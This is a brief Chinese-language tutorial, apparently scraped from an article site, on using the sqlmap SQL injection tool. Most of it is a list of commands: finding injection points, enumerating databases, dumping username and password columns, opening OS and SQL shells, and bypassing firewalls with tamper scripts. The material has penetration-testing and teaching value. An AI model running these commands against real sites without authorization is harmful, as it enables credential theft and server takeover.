Sqlmap的使用

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sqlmap的使用相关的知识,希望对你有一定的参考价值。

参考技术A

伪静态: 主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。

sqlmap的简单使用

SQLmap基于Python编写,只要安装了Python的操作系统就可以使用它。

一、SQLMap判断是否存在注入

1、 sqlmap -u "http://XXXXXXX?id=1"

如果存在注入点,将会显示Web容器、数据库版本信息。

2、读取数据库:sqlmap -u "http://XXXXXXX?id=1" --dbs

3、查看当前应用程序所用数据库:sqlmap -u "http://XXXXXXX?id=1" --current-dbs

4、列出指定数据库的所有表:sqlmap -u "http://XXXXXXX?id=1" --tables -D "admin"

5、读取指定表中的字段名称:sqlmap -u "http://XXXXXXX?id=1" --columns -T "user" -D "admin"

6、读取指定字段的内容:sqlmap -u "http://XXXXXXX?id=1" --dump -C "username,password" -T "user" -D"admin"

--dump参数意为转存数据,-C参数指定字段名称,-T指定表名,-D指定数据库名称。如果有数据库关键字需要加上"[]",如[User]。

读取数据后,数据会存到sqlmap/output/下。

二、SQLMap的一些参数

1、测试注入点权限

测试所有用户的权限:sqlmap -u URL -- privileges

测试a用户的权限:sqlmap -u URL -- privileges -U a

2、执行shell命令

sqlmap -u URL --os-cmd="net user"

系统交互的shell:sqlmap -u URL --os-shell

3、执行sql命令

SQL交互的shell,执行sql语句:sqlmap -u URL --sql-shell

sqlmap -u URL --sql-query="sql"

4、POST提交方式

sqlmap -u URL --data "POST参数"

5、显示详细的等级

sqlmap -u URL --dbs -v 1

-v 参数包含7个等级。

0:只显示Python的回溯、错误和关键消息。

1:显示信息和警告信息。

2:显示调试信息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容。

6、注入HTTP请求

sqlmap -r test.txt --dbs

test.txt 的内容为HTTP请求。

7、注入等级

sqlmap -u URL --level 3

8、使用sqlmap插件

sqlmap -u URL -tamper "插件名称"

插件一般都保存在sqlmap目录下的tamper文件夹中,通常用来绕过WAF。

 

以上是关于Sqlmap的使用的主要内容,如果未能解决你的问题,请参考以下文章

sqlmap的安装及使用

整理篇(sqlmap 源码分析os-shell 原理攻防角度使用sqlmap)

整理篇(sqlmap 源码分析os-shell 原理攻防角度使用sqlmap)

整理篇(sqlmap 源码分析os-shell 原理攻防角度使用sqlmap)

sqlmap的简单使用

sqlmap的安装与使用